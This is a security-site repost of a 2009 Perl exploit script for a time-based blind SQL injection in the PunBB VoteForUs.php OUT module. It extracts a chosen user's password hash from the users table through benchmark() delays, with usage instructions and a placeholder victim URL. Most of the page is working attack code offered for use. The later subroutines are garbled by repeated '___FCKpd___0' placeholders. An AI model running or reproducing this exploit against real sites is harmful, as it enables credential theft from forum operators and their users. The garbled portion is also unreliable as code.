首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Versions 1.0.1 and below of the OUT module in PunBB suffer from a remote blind S
来源:http://www.warwolfz.org/ 作者:Dante90 发布时间:2009-06-30  
#!/usr/bin/perl
#[0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection
Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use strict;
use LWP::UserAgent;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link
my $id  = shift or &usage;
my $Method = HTTP::Request->new(GET => $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = "http://warwolfz.altervista.org/";
my $DefaultTime = request($Referrer);

sub Blind_SQL_Jnjection{
    my ($dec,$hex) = @_;
    return "./voteforus.php?out=-1+OR+1!=(SELECT
IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0)
FROM `users` WHERE `id`=${id})/*";
}

for(my $I=1; $I<=40; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Time_Start = time();
        $HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
        $Time_End = time();
        $Time = request($Referrer);
        refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
        if($Time_End - $Time_Start > 6){
            $Time = request($Referrer);
            refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Time_End - $Time_Start > 6){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash < 0 && !$Hash){
        print " * Exploit Failed                                      *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    if($I == 40){
        print " * Exploit Successed                                   *\n";
        print " ------------------------------------------------------\n ";
        system("pause");
    }
}

sub usage{
    system("cls");
    {
        print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote
Blind SQL Injection Exploit\n";
        print " ------------------------------------------------------ \n";
        print " * USAGE:                                             *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
        print " * perl name_exploit.pl [id]                          *\n";
        print " ------------------------------------------------------ \n";
        print " *         Powered By Dante90, WaRWolFz Crew          *\n";
        print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
        print " ------------------------------------------------------ \n";
    };
    exit;
}

sub request{
    $Referrer = 
___FCKpd___0
[0]; $Method->referrer($Referrer); $Start = Time::HiRes::time(); $Response = $HTTP->request($Method); $Response->is_success() or die "$Host : ", $Response->message,"\n"; $End = Time::HiRes::time(); $Time = $End - $Start; return $Time; } sub refresh{ system("cls"); { print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit\n"; print " ------------------------------------------------------ \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [uid] *\n"; print " ------------------------------------------------------ \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------ \n"; }; print " * Victime Site: " .
___FCKpd___0
[0] . "\n"; print " * Default Time: " .
___FCKpd___0
[1] . " seconds\n"; print " * BruteForcing Hash: " . chr($chars[
___FCKpd___0
[2]]) . "\n"; print " * BruteForcing N Char Hash: " .
___FCKpd___0
[5] . "\n"; print " * SQL Time: " .
___FCKpd___0
[4] . " seconds\n"; print " * Hash: " .
___FCKpd___0
[3] . "\n"; } #WaRWolFz Crew

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Versions 1.1 and below of the
·phpFanfiction remote SQL injec
·linux/x86 reboot() polymorphic
·linux/x86 execve shellcode gen
·TFM MMPlayer 2.0 (m3u/ppl) Uni
·Newsolved 1.1.6 (login grabber
·SMF Mod Member Awards 1.0.2 Bl
·Joomla com_bookflip (book_id)
·Messages Library 2.0 Arbitrary
·HT-MP3Player 1.0 (.ht3) Univer
·MyEgy Script suffers from a re
·Almnzm (COOKIE: customer) Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved